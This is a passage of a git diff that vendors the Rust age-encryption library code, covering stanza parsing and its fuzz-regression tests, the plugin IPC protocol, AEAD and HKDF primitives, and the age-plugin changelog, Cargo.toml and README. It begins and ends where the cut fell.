assert!(wrapped_encoded_data(b"SW50ZXJuYWw=UGFk\n").is_err()); + } + } +} + +/// Encoding operations for age types. +pub mod write { + use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; + use cookie_factory::{ + combinator::string, + multi::separated_list, + sequence::{pair, tuple}, + SerializeFn, WriteContext, + }; + use std::io::Write; + use std::iter; + + use super::STANZA_TAG; + + fn wrapped_encoded_data<'a, W: 'a + Write>(data: &[u8]) -> impl SerializeFn + 'a { + let encoded = BASE64_STANDARD_NO_PAD.encode(data); + + move |mut w: WriteContext| { + let mut s = encoded.as_str(); + + // Write full body lines. + while s.len() >= 64 { + let (l, r) = s.split_at(64); + w = pair(string(l), string("\n"))(w)?; + s = r; + } + + // Last body line MUST be short (empty if necessary). + pair(string(s), string("\n"))(w) + } + } + + /// Writes an age stanza. + pub fn age_stanza<'a, W: 'a + Write, S: AsRef>( + tag: &'a str, + args: &'a [S], + body: &'a [u8], + ) -> impl SerializeFn + 'a { + pair( + tuple(( + string(STANZA_TAG), + separated_list( + string(" "), + iter::once(tag) + .chain(args.iter().map(|s| s.as_ref())) + .map(string), + ), + string("\n"), + )), + wrapped_encoded_data(body), + ) + } +} + +#[cfg(test)] +mod tests { + use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; + use nom::error::ErrorKind; + + use super::{read, write}; + + #[test] + fn parse_age_stanza() { + let test_tag = "X25519"; + let test_args = &["CJM36AHmTbdHSuOQL+NESqyVQE75f2e610iRdLPEN20"]; + let test_body = BASE64_STANDARD_NO_PAD + .decode("C3ZAeY64NXS4QFrksLm3EGz+uPRyI0eQsWw7LWbbYig") + .unwrap(); + + // The only body line is short, so we don't need a trailing empty line. + let test_stanza = "-> X25519 CJM36AHmTbdHSuOQL+NESqyVQE75f2e610iRdLPEN20 +C3ZAeY64NXS4QFrksLm3EGz+uPRyI0eQsWw7LWbbYig +"; + + let (_, stanza) = read::age_stanza(test_stanza.as_bytes()).unwrap(); + assert_eq!(stanza.tag, test_tag); + assert_eq!(stanza.args, test_args); + assert_eq!(stanza.body(), test_body); + + let mut buf = vec![]; + cookie_factory::gen_simple(write::age_stanza(test_tag, test_args, &test_body), &mut buf) + .unwrap(); + assert_eq!(buf, test_stanza.as_bytes()); + } + + #[test] + fn age_stanza_with_empty_body() { + let test_tag = "empty-body"; + let test_args = &["some", "arguments"]; + let test_body = &[]; + + // The body is empty, so it is represented with an empty line. + let test_stanza = "-> empty-body some arguments + +"; + + let (_, stanza) = read::age_stanza(test_stanza.as_bytes()).unwrap(); + assert_eq!(stanza.tag, test_tag); + assert_eq!(stanza.args, test_args); + assert_eq!(stanza.body(), test_body); + + let mut buf = vec![]; + cookie_factory::gen_simple(write::age_stanza(test_tag, test_args, test_body), &mut buf) + .unwrap(); + assert_eq!(buf, test_stanza.as_bytes()); + } + + #[test] + fn age_stanza_with_full_body() { + let test_tag = "full-body"; + let test_args = &["some", "arguments"]; + let test_body = BASE64_STANDARD_NO_PAD + .decode("xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA") + .unwrap(); + + // The body fills a complete line, so it requires a trailing empty line. + let test_stanza = "-> full-body some arguments +xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA + +"; + + let (_, stanza) = read::age_stanza(test_stanza.as_bytes()).unwrap(); + assert_eq!(stanza.tag, test_tag); + assert_eq!(stanza.args, test_args); + assert_eq!(stanza.body(), test_body); + + let mut buf = vec![]; + cookie_factory::gen_simple(write::age_stanza(test_tag, test_args, &test_body), &mut buf) + .unwrap(); + assert_eq!(buf, test_stanza.as_bytes()); + } + + #[test] + fn age_stanza_with_legacy_full_body() { + let test_tag = "full-body"; + let test_args = &["some", "arguments"]; + let test_body = BASE64_STANDARD_NO_PAD + .decode("xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA") + .unwrap(); + + // The body fills a complete line, but lacks a trailing empty line. + let test_stanza = "-> full-body some arguments +xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA +--- header end +"; + + // The normal parser returns an error. + assert!(read::age_stanza(test_stanza.as_bytes()).is_err()); + + // We can parse with the legacy parser + let (_, stanza) = read::legacy_age_stanza(test_stanza.as_bytes()).unwrap(); + assert_eq!(stanza.tag, test_tag); + assert_eq!(stanza.args, test_args); + assert_eq!(stanza.body(), test_body); + } + + #[test] + fn age_stanza_invalid_last_line() { + // Artifact found by cargo-fuzz on commit 81f91581bf7e21075519dc23e4a28b4d201dd784 + // We add an extra newline to the artifact so that we would "correctly" trigger + // the bug in the legacy part of `read::legacy_age_stanza`. + let artifact = "-> H +/ + +"; + + // The stanza parser requires the last body line is short (possibly empty), so + // should reject this artifact. + match read::age_stanza(artifact.as_bytes()) { + Err(nom::Err::Error(e)) => assert_eq!(e.code, ErrorKind::TakeWhileMN), + Err(e) => panic!("Unexpected error: {}", e), + Ok((rest, stanza)) => { + assert_eq!(rest, b"\n"); + // This is where the fuzzer triggered a panic. + let _ = stanza.body(); + // We should never reach here either before or after the bug was fixed, + // because the body length is invalid. + panic!("Invalid test case was parsed without error"); + } + } + + // The legacy parser accepts this artifact by ignoring the invalid body line, + // because bodies were allowed to be omitted. + let (rest, stanza) = read::legacy_age_stanza(artifact.as_bytes()).unwrap(); + // The remainder should the invalid body line. If the standard parser were fixed + // but the legacy parser was not, this would only contain a single newline. + assert_eq!(rest, b"/\n\n"); + // This is where the fuzzer would have triggered a panic if it were using the + // legacy parser. + let body = stanza.body(); + assert!(body.is_empty()); + } + + #[test] + fn age_stanza_last_line_two_trailing_chars() { + // Artifact found by cargo-fuzz on commit 8da15148fc005a48ffeb43eb76dab478eb2fdf72 + // We add an extra newline to the artifact so that we would "correctly" trigger + // the bug in the legacy part of `read::legacy_age_stanza`. + let artifact = "-> ' +dy + +"; + + // The stanza parser requires the last body line is short (possibly empty), so + // should reject this artifact. + match read::age_stanza(artifact.as_bytes()) { + Err(nom::Err::Error(e)) => assert_eq!(e.code, ErrorKind::TakeWhileMN), + Err(e) => panic!("Unexpected error: {}", e), + Ok((rest, stanza)) => { + assert_eq!(rest, b"\n"); + // This is where the fuzzer triggered a panic. + let _ = stanza.body(); + // We should never reach here either before or after the bug was fixed, + // because the last body line has trailing bits. + panic!("Invalid test case was parsed without error"); + } + } + + // The legacy parser accepts this artifact by ignoring the invalid body line, + // because bodies were allowed to be omitted. + let (rest, stanza) = read::legacy_age_stanza(artifact.as_bytes()).unwrap(); + // The remainder should the invalid body line. If the standard parser were fixed + // but the legacy parser was not, this would only contain a single newline. + assert_eq!(rest, b"dy\n\n"); + // This is where the fuzzer would have triggered a panic if it were using the + // legacy parser. + let body = stanza.body(); + assert!(body.is_empty()); + } + + #[test] + fn age_stanza_last_line_three_trailing_chars() { + // Artifact found by cargo-fuzz after age_stanza_last_line_two_trailing_chars was + // incorrectly fixed. + let artifact = "-> h +ddd + +"; + + // The stanza parser requires the last body line is short (possibly empty), so + // should reject this artifact. + match read::age_stanza(artifact.as_bytes()) { + Err(nom::Err::Error(e)) => assert_eq!(e.code, ErrorKind::TakeWhileMN), + Err(e) => panic!("Unexpected error: {}", e), + Ok((rest, stanza)) => { + assert_eq!(rest, b"\n"); + // This is where the fuzzer triggered a panic. + let _ = stanza.body(); + // We should never reach here either before or after the bug was fixed, + // because the last body line has trailing bits. + panic!("Invalid test case was parsed without error"); + } + } + + // The legacy parser accepts this artifact by ignoring the invalid body line, + // because bodies were allowed to be omitted. + let (rest, stanza) = read::legacy_age_stanza(artifact.as_bytes()).unwrap(); + // The remainder should the invalid body line. If the standard parser were fixed + // but the legacy parser was not, this would only contain a single newline. + assert_eq!(rest, b"ddd\n\n"); + // This is where the fuzzer would have triggered a panic if it were using the + // legacy parser. + let body = stanza.body(); + assert!(body.is_empty()); + } +} diff --git a/lib/rage/age-core/src/io.rs b/lib/rage/age-core/src/io.rs new file mode 100644 index 0000000..625a370 --- /dev/null +++ b/lib/rage/age-core/src/io.rs @@ -0,0 +1,69 @@ +//! Common helpers for performing I/O. + +use std::io::{self, Read, Stderr, Write}; + +use io_tee::{TeeReader, TeeWriter}; + +#[cfg(feature = "plugin")] +use io_tee::{ReadExt, WriteExt}; + +/// A wrapper around a reader that optionally tees its input to `stderr` for this process. +pub enum DebugReader { + Off(R), + On(TeeReader), +} + +impl DebugReader { + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + pub(crate) fn new(reader: R, debug_enabled: bool) -> Self { + if debug_enabled { + DebugReader::On(reader.tee_dbg()) + } else { + DebugReader::Off(reader) + } + } +} + +impl Read for DebugReader { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + match self { + Self::Off(reader) => reader.read(buf), + Self::On(reader) => reader.read(buf), + } + } +} + +/// A wrapper around a writer that optionally tees its output to `stderr` for this process. +pub enum DebugWriter { + Off(W), + On(TeeWriter), +} + +impl DebugWriter { + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + pub(crate) fn new(writer: W, debug_enabled: bool) -> Self { + if debug_enabled { + DebugWriter::On(writer.tee_dbg()) + } else { + DebugWriter::Off(writer) + } + } +} + +impl Write for DebugWriter { + fn write(&mut self, buf: &[u8]) -> io::Result { + match self { + Self::Off(writer) => writer.write(buf), + Self::On(writer) => writer.write(buf), + } + } + + fn flush(&mut self) -> io::Result<()> { + match self { + Self::Off(writer) => writer.flush(), + Self::On(writer) => writer.flush(), + } + } +} diff --git a/lib/rage/age-core/src/lib.rs b/lib/rage/age-core/src/lib.rs new file mode 100644 index 0000000..b344248 --- /dev/null +++ b/lib/rage/age-core/src/lib.rs @@ -0,0 +1,20 @@ +//! This crate contains common structs and functions used across the `age` crates. +//! +//! You are probably looking for the [`age`](https://crates.io/crates/age) crate +//! itself. You should only need to directly depend on this crate if you are +//! implementing a custom recipient type. + +#![cfg_attr(docsrs, feature(doc_cfg))] +// Catch documentation errors caused by code changes. +#![deny(rustdoc::broken_intra_doc_links)] + +// Re-export crates that are used in our public API. +pub use secrecy; + +pub mod format; +pub mod io; +pub mod primitives; + +#[cfg(feature = "plugin")] +#[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] +pub mod plugin; diff --git a/lib/rage/age-core/src/plugin.rs b/lib/rage/age-core/src/plugin.rs new file mode 100644 index 0000000..aa3e40c --- /dev/null +++ b/lib/rage/age-core/src/plugin.rs @@ -0,0 +1,523 @@ +//! Common structs and constants for the age plugin system. +//! +//! These are shared between the client implementation in the `age` crate, and the plugin +//! implementations built around the `age-plugin` crate. + +use rand::{thread_rng, Rng}; +use secrecy::zeroize::Zeroize; +use std::env; +use std::fmt; +use std::io::{self, BufRead, BufReader, Read, Write}; +use std::iter; +use std::path::Path; +use std::process::{ChildStdin, ChildStdout, Command, Stdio}; + +use crate::{ + format::{grease_the_joint, read, write, Stanza}, + io::{DebugReader, DebugWriter}, +}; + +pub const IDENTITY_V1: &str = "identity-v1"; +pub const RECIPIENT_V1: &str = "recipient-v1"; + +const COMMAND_DONE: &str = "done"; +const RESPONSE_OK: &str = "ok"; +const RESPONSE_FAIL: &str = "fail"; +const RESPONSE_UNSUPPORTED: &str = "unsupported"; + +/// An error within the plugin protocol. +#[derive(Debug)] +pub enum Error { + Fail, + Unsupported, +} + +impl fmt::Display for Error { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Fail => write!(f, "General plugin protocol error"), + Self::Unsupported => write!(f, "Unsupported command"), + } + } +} + +impl std::error::Error for Error {} + +/// Result type for the plugin protocol. +/// +/// - The outer error indicates a problem with the IPC transport or state machine; these +/// should result in the state machine being terminated and the connection closed. +/// - The inner error indicates an error within the plugin protocol, that the recipient +/// should explicitly handle. +pub type Result = io::Result>; + +type UnidirResult = io::Result<( + std::result::Result, Vec>, + std::result::Result, Vec>, + Option, Vec>>, + Option, Vec>>, +)>; + +/// A connection to a plugin binary. +pub struct Connection { + input: BufReader, + output: W, + buffer: String, + _working_dir: Option, +} + +impl Connection, DebugWriter> { + /// Starts a plugin binary with the given state machine. + /// + /// If the `AGEDEBUG` environment variable is set to `plugin`, then all messages sent + /// to and from the plugin, as well as anything the plugin prints to its `stderr`, + /// will be printed to the `stderr` of the parent process. + pub fn open(binary: &Path, state_machine: &str) -> io::Result { + let working_dir = tempfile::tempdir()?; + let debug_enabled = env::var("AGEDEBUG").map(|s| s == "plugin").unwrap_or(false); + let process = Command::new(binary.canonicalize()?) + .arg(format!("--age-plugin={}", state_machine)) + .current_dir(working_dir.path()) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(if debug_enabled { + Stdio::inherit() + } else { + Stdio::null() + }) + .spawn()?; + let input = BufReader::new(DebugReader::new( + process.stdout.expect("could open stdout"), + debug_enabled, + )); + let output = DebugWriter::new(process.stdin.expect("could open stdin"), debug_enabled); + Ok(Connection { + input, + output, + buffer: String::new(), + _working_dir: Some(working_dir), + }) + } +} + +impl Connection { + /// Initialise a connection from an age client. + pub fn accept() -> Self { + Connection { + input: BufReader::new(io::stdin()), + output: io::stdout(), + buffer: String::new(), + _working_dir: None, + } + } +} + +impl Connection { + fn send>( + &mut self, + command: &str, + metadata: &[S], + data: &[u8], + ) -> io::Result<()> { + use cookie_factory::GenError; + + cookie_factory::gen_simple(write::age_stanza(command, metadata, data), &mut self.output) + .map_err(|e| match e { + GenError::IoError(e) => e, + e => io::Error::new(io::ErrorKind::Other, format!("{}", e)), + }) + .and_then(|w| w.flush()) + } + + fn send_stanza>( + &mut self, + command: &str, + metadata: &[S], + stanza: &Stanza, + ) -> io::Result<()> { + let metadata: Vec<_> = metadata + .iter() + .map(|s| s.as_ref()) + .chain(iter::once(stanza.tag.as_str())) + .chain(stanza.args.iter().map(|s| s.as_str())) + .collect(); + + self.send(command, &metadata, &stanza.body) + } + + fn receive(&mut self) -> io::Result { + let (stanza, consumed) = loop { + match read::age_stanza(self.buffer.as_bytes()) { + Ok((remainder, r)) => break (r.into(), self.buffer.len() - remainder.len()), + Err(nom::Err::Incomplete(_)) => { + if self.input.read_line(&mut self.buffer)? == 0 { + return Err(io::Error::new( + io::ErrorKind::UnexpectedEof, + "incomplete response", + )); + }; + } + Err(_) => { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + "invalid response", + )); + } + } + }; + + // We are finished with any prior response. + let remainder = self.buffer.split_off(consumed); + self.buffer.zeroize(); + self.buffer = remainder; + + Ok(stanza) + } + + fn grease_gun(&mut self) -> impl Iterator { + // Add 5% grease + let mut rng = thread_rng(); + (0..2).filter_map(move |_| { + if rng.gen_range(0..100) < 5 { + Some(grease_the_joint()) + } else { + None + } + }) + } + + fn done(&mut self) -> io::Result<()> { + self.send::<&str>(COMMAND_DONE, &[], &[]) + } + + /// Runs a unidirectional phase as the controller. + pub fn unidir_send) -> io::Result<()>>( + &mut self, + phase_steps: P, + ) -> io::Result<()> { + phase_steps(UnidirSend(self))?; + for grease in self.grease_gun() { + self.send(&grease.tag, &grease.args, &grease.body)?; + } + self.done() + } + + /// Runs a unidirectional phase as the recipient. + /// + /// # Arguments + /// + /// `command_a`, `command_b`, and (optionally) `command_c` and `command_d` are the + /// known commands that are expected to be received. All other received commands + /// (including grease) will be ignored. + pub fn unidir_receive( + &mut self, + command_a: (&str, F), + command_b: (&str, G), + command_c: (Option<&str>, H), + command_d: (Option<&str>, I), + ) -> UnidirResult + where + F: Fn(Stanza) -> std::result::Result, + G: Fn(Stanza) -> std::result::Result, + H: Fn(Stanza) -> std::result::Result, + I: Fn(Stanza) -> std::result::Result, + { + let mut res_a = Ok(vec![]); + let mut res_b = Ok(vec![]); + let mut res_c = Ok(vec![]); + let mut res_d = Ok(vec![]); + + for stanza in iter::repeat_with(|| self.receive()).take_while(|res| match res { + Ok(stanza) => stanza.tag != COMMAND_DONE, + _ => true, + }) { + let stanza = stanza?; + + fn validate( + val: std::result::Result, + res: &mut std::result::Result, Vec>, + ) { + // Structurally validate the stanza against this command. + match val { + Ok(a) => { + if let Ok(stanzas) = res { + stanzas.push(a) + } + } + Err(e) => match res { + Ok(_) => *res = Err(vec![e]), + Err(errors) => errors.push(e), + }, + } + } + + if stanza.tag.as_str() == command_a.0 { + validate(command_a.1(stanza), &mut res_a) + } else if stanza.tag.as_str() == command_b.0 { + validate(command_b.1(stanza), &mut res_b) + } else { + if let Some(tag) = command_c.0 { + if stanza.tag.as_str() == tag { + validate(command_c.1(stanza), &mut res_c); + continue; + } + } + if let Some(tag) = command_d.0 { + if stanza.tag.as_str() == tag { + validate(command_d.1(stanza), &mut res_d); + continue; + } + } + } + } + + Ok(( + res_a, + res_b, + command_c.0.map(|_| res_c), + command_d.0.map(|_| res_d), + )) + } + + /// Runs a bidirectional phase as the controller. + pub fn bidir_send) -> io::Result<()>>( + &mut self, + phase_steps: P, + ) -> io::Result<()> { + phase_steps(BidirSend(self))?; + for grease in self.grease_gun() { + self.send(&grease.tag, &grease.args, &grease.body)?; + self.receive()?; + } + self.done() + } + + /// Runs a bidirectional phase as the recipient. + pub fn bidir_receive(&mut self, commands: &[&str], mut handler: H) -> io::Result<()> + where + H: FnMut(Stanza, Reply) -> Response, + { + loop { + let stanza = self.receive()?; + match stanza.tag.as_str() { + COMMAND_DONE => break Ok(()), + t if commands.contains(&t) => handler(stanza, Reply(self)).0?, + _ => self.send::<&str>(RESPONSE_UNSUPPORTED, &[], &[])?, + } + } + } +} + +/// Actions that a controller may take during a unidirectional phase. +/// +/// Grease is applied automatically. +pub struct UnidirSend<'a, R: Read, W: Write>(&'a mut Connection); + +impl<'a, R: Read, W: Write> UnidirSend<'a, R, W> { + /// Send a command. + pub fn send(&mut self, command: &str, metadata: &[&str], data: &[u8]) -> io::Result<()> { + for grease in self.0.grease_gun() { + self.0.send(&grease.tag, &grease.args, &grease.body)?; + } + self.0.send(command, metadata, data) + } + + /// Send an entire stanza. + pub fn send_stanza( + &mut self, + command: &str, + metadata: &[&str], + stanza: &Stanza, + ) -> io::Result<()> { + for grease in self.0.grease_gun() { + self.0.send(&grease.tag, &grease.args, &grease.body)?; + } + self.0.send_stanza(command, metadata, stanza) + } +} + +/// Actions that a controller may take during a bidirectional phase. +/// +/// Grease is applied automatically. +pub struct BidirSend<'a, R: Read, W: Write>(&'a mut Connection); + +impl<'a, R: Read, W: Write> BidirSend<'a, R, W> { + /// Send a command and receive a response. + pub fn send(&mut self, command: &str, metadata: &[&str], data: &[u8]) -> Result { + for grease in self.0.grease_gun() { + self.0.send(&grease.tag, &grease.args, &grease.body)?; + self.0.receive()?; + } + self.0.send(command, metadata, data)?; + let s = self.0.receive()?; + match s.tag.as_ref() { + RESPONSE_OK => Ok(Ok(s)), + RESPONSE_FAIL => Ok(Err(Error::Fail)), + RESPONSE_UNSUPPORTED => Ok(Err(Error::Unsupported)), + tag => Err(io::Error::new( + io::ErrorKind::InvalidData, + format!("unexpected response: {}", tag), + )), + } + } + + /// Send an entire stanza. + pub fn send_stanza( + &mut self, + command: &str, + metadata: &[&str], + stanza: &Stanza, + ) -> Result { + for grease in self.0.grease_gun() { + self.0.send(&grease.tag, &grease.args, &grease.body)?; + self.0.receive()?; + } + self.0.send_stanza(command, metadata, stanza)?; + let s = self.0.receive()?; + match s.tag.as_ref() { + RESPONSE_OK => Ok(Ok(s)), + RESPONSE_FAIL => Ok(Err(Error::Fail)), + RESPONSE_UNSUPPORTED => Ok(Err(Error::Unsupported)), + tag => Err(io::Error::new( + io::ErrorKind::InvalidData, + format!("unexpected response: {}", tag), + )), + } + } +} + +/// The possible replies to a bidirectional command. +pub struct Reply<'a, R: Read, W: Write>(&'a mut Connection); + +impl<'a, R: Read, W: Write> Reply<'a, R, W> { + /// Reply with `ok` and optional data. + pub fn ok(self, data: Option<&[u8]>) -> Response { + Response( + self.0 + .send::<&str>(RESPONSE_OK, &[], data.unwrap_or_default()), + ) + } + + /// Reply with `ok`, metadata, and optional data. + pub fn ok_with_metadata>(self, metadata: &[S], data: Option<&[u8]>) -> Response { + Response(self.0.send(RESPONSE_OK, metadata, data.unwrap_or_default())) + } + + /// The command failed (for example, the user failed to respond to an input request). + pub fn fail(self) -> Response { + Response(self.0.send::<&str>(RESPONSE_FAIL, &[], &[])) + } +} + +/// A response to a bidirectional command. +pub struct Response(io::Result<()>); + +#[cfg(test)] +mod tests { + use std::sync::{Arc, Mutex}; + + use super::*; + + pub struct Pipe(Vec); + + impl Pipe { + pub fn new() -> Arc> { + Arc::new(Mutex::new(Pipe(Vec::new()))) + } + } + + pub struct PipeReader { + pipe: Arc>, + } + + impl PipeReader { + pub fn new(pipe: Arc>) -> Self { + PipeReader { pipe } + } + } + + impl Read for PipeReader { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + let mut pipe = self.pipe.lock().unwrap(); + let n_in = pipe.0.len(); + let n_out = buf.len(); + if n_in == 0 { + Err(io::Error::new(io::ErrorKind::WouldBlock, "")) + } else if n_out < n_in { + buf.copy_from_slice(&pipe.0[..n_out]); + pipe.0 = pipe.0.split_off(n_out); + Ok(n_out) + } else { + buf[..n_in].copy_from_slice(&pipe.0); + pipe.0.clear(); + Ok(n_in) + } + } + } + + pub struct PipeWriter { + pipe: Arc>, + } + + impl PipeWriter { + pub fn new(pipe: Arc>) -> Self { + PipeWriter { pipe } + } + } + + impl Write for PipeWriter { + fn write(&mut self, buf: &[u8]) -> io::Result { + let mut pipe = self.pipe.lock().unwrap(); + pipe.0.extend_from_slice(buf); + Ok(buf.len()) + } + + fn flush(&mut self) -> io::Result<()> { + Ok(()) + } + } + + #[test] + fn mock_plugin() { + let client_to_plugin = Pipe::new(); + let plugin_to_client = Pipe::new(); + + let mut client_conn = Connection { + input: BufReader::new(PipeReader::new(plugin_to_client.clone())), + output: PipeWriter::new(client_to_plugin.clone()), + buffer: String::new(), + _working_dir: None, + }; + let mut plugin_conn = Connection { + input: BufReader::new(PipeReader::new(client_to_plugin)), + output: PipeWriter::new(plugin_to_client), + buffer: String::new(), + _working_dir: None, + }; + + client_conn + .unidir_send(|mut phase| phase.send("test", &["foo"], b"bar")) + .unwrap(); + let stanza = plugin_conn + .unidir_receive::<_, (), (), (), _, _, _, _, _>( + ("test", Ok), + ("other", |_| Err(())), + (None, |_| Ok(())), + (None, |_| Ok(())), + ) + .unwrap(); + assert_eq!( + stanza, + ( + Ok(vec![Stanza { + tag: "test".to_owned(), + args: vec!["foo".to_owned()], + body: b"bar"[..].to_owned() + }]), + Ok(vec![]), + None, + None, + ) + ); + } +} diff --git a/lib/rage/age-core/src/primitives.rs b/lib/rage/age-core/src/primitives.rs new file mode 100644 index 0000000..7557187 --- /dev/null +++ b/lib/rage/age-core/src/primitives.rs @@ -0,0 +1,68 @@ +//! Primitive cryptographic operations used across various `age` components. + +use chacha20poly1305::{ + aead::{self, generic_array::typenum::Unsigned, Aead, AeadCore, KeyInit}, + ChaCha20Poly1305, +}; +use hkdf::Hkdf; +use sha2::Sha256; + +/// `encrypt[key](plaintext)` - encrypts a message with a one-time key. +/// +/// ChaCha20-Poly1305 from [RFC 7539] with a zero nonce. +/// +/// [RFC 7539]: https://tools.ietf.org/html/rfc7539 +pub fn aead_encrypt(key: &[u8; 32], plaintext: &[u8]) -> Vec { + let c = ChaCha20Poly1305::new(key.into()); + c.encrypt(&[0; 12].into(), plaintext) + .expect("we won't overflow the ChaCha20 block counter") +} + +/// `decrypt[key](ciphertext)` - decrypts a message of an expected fixed size. +/// +/// ChaCha20-Poly1305 from [RFC 7539] with a zero nonce. +/// +/// The message size is limited to mitigate multi-key attacks, where a ciphertext can be +/// crafted that decrypts successfully under multiple keys. Short ciphertexts can only +/// target two keys, which has limited impact. +/// +/// [RFC 7539]: https://tools.ietf.org/html/rfc7539 +pub fn aead_decrypt( + key: &[u8; 32], + size: usize, + ciphertext: &[u8], +) -> Result, aead::Error> { + if ciphertext.len() != size + ::TagSize::to_usize() { + return Err(aead::Error); + } + + let c = ChaCha20Poly1305::new(key.into()); + c.decrypt(&[0; 12].into(), ciphertext) +} + +/// `HKDF[salt, label](key, 32)` +/// +/// HKDF from [RFC 5869] with SHA-256. +/// +/// [RFC 5869]: https://tools.ietf.org/html/rfc5869 +pub fn hkdf(salt: &[u8], label: &[u8], ikm: &[u8]) -> [u8; 32] { + let mut okm = [0; 32]; + Hkdf::::new(Some(salt), ikm) + .expand(label, &mut okm) + .expect("okm is the correct length"); + okm +} + +#[cfg(test)] +mod tests { + use super::{aead_decrypt, aead_encrypt}; + + #[test] + fn aead_round_trip() { + let key = [14; 32]; + let plaintext = b"12345678"; + let encrypted = aead_encrypt(&key, plaintext); + let decrypted = aead_decrypt(&key, plaintext.len(), &encrypted).unwrap(); + assert_eq!(decrypted, plaintext); + } +} diff --git a/lib/rage/age-plugin/CHANGELOG.md b/lib/rage/age-plugin/CHANGELOG.md new file mode 100644 index 0000000..34b0bba --- /dev/null +++ b/lib/rage/age-plugin/CHANGELOG.md @@ -0,0 +1,64 @@ +# Changelog +All notable changes to the age crate will be documented in this file. Changes +to the [age-core crate](../age-core/CHANGELOG.md) also apply to the age-plugin +crate, and are not duplicated here. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to Rust's notion of +[Semantic Versioning](https://semver.org/spec/v2.0.0.html). All versions prior +to 1.0.0 are beta releases. + +## [Unreleased] + +## [0.6.0] - 2024-11-03 +### Added +- `age_plugin::PluginHandler` +- `impl age_plugin::identity::IdentityPluginV1 for std::convert::Infallible` +- `impl age_plugin::recipient::RecipientPluginV1 for std::convert::Infallible` + +### Changed +- Migrated to `age-core 0.11`. +- `age_plugin::recipient::RecipientPluginV1` has a new `labels` method. Existing + implementations of the trait should either return `HashSet::new()` to maintain + existing compatibility, or return labels that apply the desired constraints. +- `age_plugin::run_state_machine` now supports the `recipient-v1` labels + extension. + +### Fixed +- `age_plugin::run_state_machine` now takes an `impl age_plugin::PluginHandler` + argument, instead of its previous arguments. + - This fixes the change from the previous release, because the type parameters + were basically impossible to set correctly when attempting to pass `None`. + +## [0.5.0] - 2024-02-04 +### Changed +- MSRV is now 1.65.0. +- Migrated to `age-core 0.10`. +- `age_plugin::run_state_machine` now takes optional arguments, to enable the + creation of recipient-only or identity-only plugins. + +## [0.4.0] - 2022-10-27 +### Changed +- MSRV is now 1.59.0. +- Migrated to `age-core 0.9`. + +## [0.3.0] - 2022-05-02 +### Added +- `age_plugin::Callbacks::confirm` + +### Changed +- MSRV is now 1.56.0. + +## [0.2.1] - 2021-12-27 +### Fixed +- Bumped `age-core` to 0.7.1 to fix a bug where non-canonical recipient stanza + bodies in an age file header would cause a panic instead of being rejected. + +## [0.2.0] - 2021-10-18 +### Changed +- MSRV is now 1.51.0. +- `age_plugin::Callbacks` methods now return `age_core::plugin::Error` instead + of `()` for internal errors, following changes to `age_core::plugin::Result`. + +## [0.1.0] - 2021-05-02 +Initial beta release! diff --git a/lib/rage/age-plugin/Cargo.toml b/lib/rage/age-plugin/Cargo.toml new file mode 100644 index 0000000..023b3c5 --- /dev/null +++ b/lib/rage/age-plugin/Cargo.toml @@ -0,0 +1,27 @@ +[package] +name = "age-plugin" +description = "[BETA] API for writing age plugins." +version = "0.6.0" +authors.workspace = true +repository.workspace = true +readme = "README.md" +license.workspace = true +edition.workspace = true +rust-version.workspace = true + +[dependencies] +# Dependencies exposed in a public API: +# (Breaking upgrades to these require a breaking upgrade to this crate.) +age-core = { workspace = true, features = ["plugin"] } + +# Dependencies used internally: +# (Breaking upgrades to these are usually backwards-compatible, but check MSRVs.) +base64.workspace = true +bech32.workspace = true +chrono.workspace = true + +[dev-dependencies] +clap.workspace = true + +[lib] +bench = false diff --git a/lib/rage/age-plugin/README.md b/lib/rage/age-plugin/README.md new file mode 100644 index 0000000..d1300f3 --- /dev/null +++ b/lib/rage/age-plugin/README.md @@ -0,0 +1,178 @@ +# age-plugin Rust library + +This crate provides an API for building age plugins. + +## Introduction + +The [age file encryption format] follows the "one well-oiled joint" design philosophy. +The mechanism for extensibility (within a particular format version) is the recipient +stanzas within the age header: file keys can be wrapped in any number of ways, and age +clients are required to ignore stanzas that they do not understand. + +The core APIs that exercise this mechanism are: +- A recipient that wraps a file key and returns a stanza. +- An identity that unwraps a stanza and returns a file key. + +The age plugin system provides a mechanism for exposing these core APIs across process +boundaries. It has two main components: + +- A map from recipients and identities to plugin binaries. +- State machines for wrapping and unwrapping file keys. + +With this composable design, you can implement a recipient or identity that you might +use directly with the [`age`] library crate, and also deploy it as a plugin binary for +use with clients like [`rage`]. + +[age file encryption format]: https://age-encryption.org/v1 +[`age`]: https://crates.io/crates/age +[`rage`]: https://crates.io/crates/rage + +## Mapping recipients and identities to plugin binaries + +age plugins are identified by an arbitrary case-insensitive string `NAME`. This string +is used in three places: + +- Plugin-compatible recipients are encoded using Bech32 with the HRP `age1name` + (lowercase). +- Plugin-compatible identities are encoded using Bech32 with the HRP + `AGE-PLUGIN-NAME-` (uppercase). +- Plugin binaries (to be started by age clients) are named `age-plugin-name`. + +Users interact with age clients by providing either recipients for file encryption, or +identities for file decryption. When a plugin recipient or identity is provided, the +age client searches the `PATH` for a binary with the corresponding plugin name. + +Recipient stanza types are not required to be correlated to specific plugin names. +When decrypting, age clients will pass all recipient stanzas to every connected +plugin. Plugins MUST ignore stanzas that they do not know about. + +A plugin binary may handle multiple recipient or identity types by being present in +the `PATH` under multiple names. This can be implemented with symlinks or aliases to +the canonical binary. + +Multiple plugin binaries can support the same recipient and identity types; the first +binary found in the `PATH` will be used by age clients. Some Unix OSs 